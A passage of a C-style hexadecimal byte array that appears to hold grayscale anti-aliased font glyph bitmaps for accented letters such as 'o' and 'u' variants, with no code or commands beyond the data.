0x00, 0x00, 0x10, 0xEC, 0xFF, 0xFF, 0xF8, 0x55, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xCF, 0xFF, 0xFF,
0xFF, 0x50, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFE, 0xB7, 0x82, 0x7B, 0xA5, 0xE4, 0xFF,
0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00, 0x00, 0x04, 0x93, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xBC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xED, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFD, 0x8A, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x38,
0x68, 0x97, 0x95, 0x66, 0x38, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1F, 0x54, 0x54, 0x54, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x07, 0xD1, 0xFF, 0xFF, 0xFF, 0xD6, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFE, 0xFF, 0xF7, 0x50, 0xF4, 0xFF, 0xFF, 0x49, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE2, 0xFF, 0xFF, 0x6D, 0x00, 0x66, 0xFF, 0xFF,
0xE8, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xDC, 0xDC, 0xA9, 0x01, 0x00, 0x00,
0xA4, 0xDC, 0xDC, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x2C,
0x5E, 0x8F, 0xA1, 0x85, 0x56, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28,
0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9D, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5D, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0x3E, 0x00, 0x00, 0x00,
0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x87, 0x6F, 0xA4, 0xE2, 0xFF, 0xFF, 0xFF, 0xE2, 0x0C,
0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x06, 0xB9, 0xFF, 0xFF,
0xFF, 0x90, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B,
0xCA, 0xFF, 0xFF, 0xFD, 0x21, 0x00, 0xB5, 0xFF, 0xFF, 0xF8, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0xD9, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0xFA, 0xFF, 0xFF, 0x77, 0x03, 0xFA, 0xFF, 0xFF, 0x78, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0x9D, 0x21, 0xFF, 0xFF, 0xFF, 0x5B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xBB, 0x33, 0xFF, 0xFF,
0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2, 0xFF, 0xFF, 0xA4, 0x13,
0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xFA, 0xFF, 0xFF,
0x82, 0x00, 0xEE, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF,
0xFF, 0xFF, 0x60, 0x00, 0xC9, 0xFF, 0xFF, 0xE7, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8C, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x16, 0xE7, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x10, 0xEC, 0xFF, 0xFF, 0xF8, 0x55, 0x00, 0x00,
0x00, 0x00, 0x0F, 0xCF, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFE,
0xB7, 0x82, 0x7B, 0xA5, 0xE4, 0xFF, 0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00, 0x00, 0x04, 0x93, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x50, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x8A, 0x03, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0A, 0x38, 0x68, 0x97, 0x95, 0x66, 0x38, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x62, 0x7E, 0x5E, 0x15, 0x00, 0x00, 0x00, 0x8D, 0xC8,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xF5, 0xFF, 0xFF, 0xFF, 0xFB, 0xB4, 0x62, 0x91,
0xF9, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE3, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xF4, 0x39, 0x25, 0x72,
0xCC, 0xFF, 0xFF, 0xFF, 0xC8, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x8C, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x1C, 0x48, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x2C, 0x5E, 0x8F, 0xA1, 0x85, 0x56, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x28, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9D, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5D, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6,
0x3E, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x87, 0x6F, 0xA4, 0xE2, 0xFF,
0xFF, 0xFF, 0xE2, 0x0C, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x06, 0xB9, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0B, 0xCA, 0xFF, 0xFF, 0xFD, 0x21, 0x00, 0xB5, 0xFF, 0xFF, 0xF8, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0xD9, 0xFF, 0xFF, 0xA8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xFA, 0xFF, 0xFF, 0x77, 0x03, 0xFA, 0xFF,
0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0x9D, 0x21,
0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF,
0xBB, 0x33, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE2,
0xFF, 0xFF, 0xA4, 0x13, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0xFA, 0xFF, 0xFF, 0x82, 0x00, 0xEE, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0xC9, 0xFF, 0xFF, 0xE7, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x62, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE7, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x10, 0xEC, 0xFF, 0xFF,
0xF8, 0x55, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xCF, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x6E,
0xFF, 0xFF, 0xFF, 0xFE, 0xB7, 0x82, 0x7B, 0xA5, 0xE4, 0xFF, 0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00,
0x00, 0x04, 0x93, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBC, 0x14, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x8A, 0x03,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x38, 0x68, 0x97, 0x95, 0x66, 0x38, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x62, 0x62, 0x2A, 0x00, 0x30,
0x62, 0x62, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFF, 0xFF, 0xFF, 0x7B,
0x00, 0x8A, 0xFF, 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFF, 0xFF,
0xFF, 0x7B, 0x00, 0x8A, 0xFF, 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
0xFF, 0xFF, 0xFF, 0x7B, 0x00, 0x8A, 0xFF, 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x72, 0x76, 0x76, 0x34, 0x00, 0x3B, 0x76, 0x76, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x2C, 0x5E, 0x8F, 0xA1, 0x85, 0x56, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x9D, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE6, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x87,
0x6F, 0xA4, 0xE2, 0xFF, 0xFF, 0xFF, 0xE2, 0x0C, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xFF, 0x6D,
0x00, 0x00, 0x00, 0x00, 0x06, 0xB9, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF,
0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xCA, 0xFF, 0xFF, 0xFD, 0x21, 0x00, 0xB5, 0xFF,
0xFF, 0xF8, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0x50, 0x00,
0xD9, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xFA, 0xFF, 0xFF,
0x77, 0x03, 0xFA, 0xFF, 0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3,
0xFF, 0xFF, 0x9D, 0x21, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD1, 0xFF, 0xFF, 0xBB, 0x33, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE2, 0xFF, 0xFF, 0xA4, 0x13, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0xFA, 0xFF, 0xFF, 0x82, 0x00, 0xEE, 0xFF, 0xFF, 0x8F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0xC9, 0xFF, 0xFF, 0xE7,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x39, 0x00, 0x87, 0xFF,
0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE7, 0xFF, 0xFF, 0xCE, 0x00, 0x00,
0x10, 0xEC, 0xFF, 0xFF, 0xF8, 0x55, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xCF, 0xFF, 0xFF, 0xFF, 0x50,
0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0xFE, 0xB7, 0x82, 0x7B, 0xA5, 0xE4, 0xFF, 0xFF, 0xFF,
0xCE, 0x01, 0x00, 0x00, 0x00, 0x04, 0x93, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xBC, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFD, 0x8A, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x38, 0x68, 0x97,
0x95, 0x66, 0x38, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x46, 0x64, 0x64, 0x64, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xAB, 0xAB, 0xAA,
0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x74,
0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x71,
0x02, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x0A, 0xAB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0x78, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA,
0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xBA, 0xB7, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x65, 0x65, 0x64, 0x0A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0x26, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF,
0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xBF, 0xFF, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x77, 0xA6, 0xA6, 0xA6, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x05, 0x33, 0x68, 0x9C, 0xA9, 0x77, 0x41, 0x0E, 0x00, 0x00, 0x00, 0x76,
0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x9A,
0x0C, 0x5D, 0xFF, 0xDF, 0x08, 0x00, 0x00, 0x00, 0x5A, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE8, 0xFB, 0xED, 0x28, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0xFF, 0xCA,
0x88, 0x6E, 0x9E, 0xE4, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x00, 0x00, 0x00, 0x01, 0xCE, 0xFF, 0xFF,
0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC8, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x50,
0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xDC, 0xFF, 0xFF, 0xFF, 0xD8, 0x01,
0x00, 0x00, 0xBE, 0xFF, 0xFF, 0xF5, 0x15, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xCB, 0xFF, 0xDD, 0xFF,
0xFF, 0xFF, 0x46, 0x00, 0x00, 0xEA, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x00, 0x00, 0x04, 0xB6, 0xFF,
0xA3, 0x19, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00,
0x9E, 0xFF, 0xBD, 0x05, 0x00, 0xF8, 0xFF, 0xFF, 0x9E, 0x00, 0x35, 0xFF, 0xFF, 0xFF, 0x45, 0x00,
0x00, 0x00, 0x83, 0xFF, 0xD2, 0x0F, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0xB6, 0x00, 0x3E, 0xFF, 0xFF,
0xFF, 0x34, 0x00, 0x00, 0x68, 0xFF, 0xE4, 0x1C, 0x00, 0x00, 0x05, 0xF8, 0xFF, 0xFF, 0xA0, 0x00,
0x20, 0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x4F, 0xFC, 0xF1, 0x2E, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF,
0xFF, 0x7A, 0x00, 0x04, 0xFC, 0xFF, 0xFF, 0x70, 0x39, 0xF6, 0xFA, 0x44, 0x00, 0x00, 0x00, 0x00,
0x61, 0xFF, 0xFF, 0xFF, 0x54, 0x00, 0x00, 0xE0, 0xFF, 0xFF, 0xE2, 0xEC, 0xFF, 0x5E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xFF, 0x2B, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0x7C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFB, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x1E, 0xFB, 0xFF,
0xFF, 0xFF, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xEB, 0xFF, 0xFF, 0xFE, 0x31, 0x00, 0x00, 0x00,
0x06, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF, 0xAD, 0x77, 0x85, 0xC0, 0xFA, 0xFF, 0xFF, 0xFF, 0xA2, 0x00,
0x00, 0x00, 0x03, 0xAB, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x9C, 0x08, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xD8, 0x18, 0x6C, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF7, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xB5, 0x1C, 0x00, 0x00, 0x14, 0x49, 0x73,
0x9D, 0xA0, 0x6F, 0x3B, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x54,
0x54, 0x54, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xEB,
0xFF, 0xFF, 0xF9, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34,
0xF2, 0xFF, 0xFF, 0xC2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0xF8, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4F, 0xFC, 0xFF, 0xEF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5F, 0xDC, 0xDC, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x2C, 0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFD, 0xFF, 0xFF, 0xA2, 0x0D, 0xFF, 0xFF, 0xFF, 0x8B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xF6, 0xFF, 0xFF, 0xBF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xE9, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0xD1, 0xFF, 0xFF, 0xFF,
0x6D, 0x00, 0x00, 0x00, 0x1D, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x7A, 0xFF, 0xFF, 0xFF,
0xFF, 0xD4, 0xAB, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA2, 0x00, 0x08, 0xB5, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0xA1, 0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x06, 0xA6, 0xFB,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x95, 0x15, 0x8A, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x08,
0x36, 0x68, 0x70, 0x49, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0B, 0x54, 0x54, 0x54, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x34, 0xFC, 0xFF, 0xFF, 0xB3, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xCF, 0xFF, 0xFF, 0xC2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x75, 0xFF, 0xFF, 0xCF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xCE, 0xDC, 0xC8, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
